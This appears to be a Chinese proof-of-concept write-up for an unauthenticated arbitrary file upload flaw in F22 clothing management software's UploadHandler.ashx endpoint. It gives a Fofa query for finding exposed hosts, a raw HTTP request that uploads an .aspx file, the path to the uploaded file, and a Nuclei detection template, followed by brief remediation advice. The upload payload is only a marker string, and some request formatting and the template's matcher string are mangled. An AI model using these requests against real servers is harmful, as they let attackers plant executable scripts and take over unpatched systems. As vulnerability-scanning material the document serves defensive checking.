F22服装管理软件系统UploadHandler.ashx任意文件上传漏洞

# Fofa语法body="F22WEB登陆"

POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1Host:IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoixContent-Length: 409
------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="folder"
/upload/udplog------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="Filedata"; filename="1.aspx"Content-Type: application/octet-stream
hello------------398jnjVTTlDVXHlE7yYnfwBoixContent-Disposition: form-data; name="Upload"
Submit Query------------398jnjVTTlDVXHlE7yYnfwBoix--

# 拼接路径http://ip/upload/udplog/20231130123414718.aspx

id: F22-UploadHandler-fileuploadinfo:  name: F22服装管理软件系统UploadHandler.ashx任意文件上传漏洞  author: xy  severity: critical  description: 'F22服装管理软件系统/CuteSoft_Client/UploadHandler.ashx接口存在任意文件上传漏洞，由于系统对用户上传的文件类型未作任何过滤和限制，未授权的攻击者可以通过此接口上传恶意后门文件获取服务器信息或权限。'  tags: 2023, F22, fileupload  metadata:    max-request: 1    fofa-query: body="F22WEB登陆"    verified: true
http:  - raw:      - |        POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1        Host: {{Hostname}}        Accept-Language: zh-CN,zh;q=0.9        Content-Type: multipart/form-data; boundary=----------{{randstr}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36        Accept: */*        Accept-Encoding: gzip, deflate                ------------{{randstr}}        Content-Disposition: form-data; name="folder"                /upload/udplog        ------------{{randstr}}        Content-Disposition: form-data; name="Filedata"; filename="1.aspx"        Content-Type: application/octet-stream                {{randstr}}        ------------{{randstr}}        Content-Disposition: form-data; name="Upload"                Submit Query        ------------{{randstr}}--
      - |        GET /upload/udplog/{{replace(file_name,'1,','')}} HTTP/1.1        Host: {{Hostname}}
    extractors:      - type: dsl        internal: true        name: file_name        dsl:          - body    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && contains(body_1, 'aspx') && st          atus_code_2 == 200 && contains(body_2, '{{randstr}}')"

* 配置访问控制策略：对路径 /CuteSoft_Client/UploadHandler.ashx 进行限制访问
* 联系厂商获取最新补丁信息：http://www.x2erp.com/
* 白名单检查文件扩展名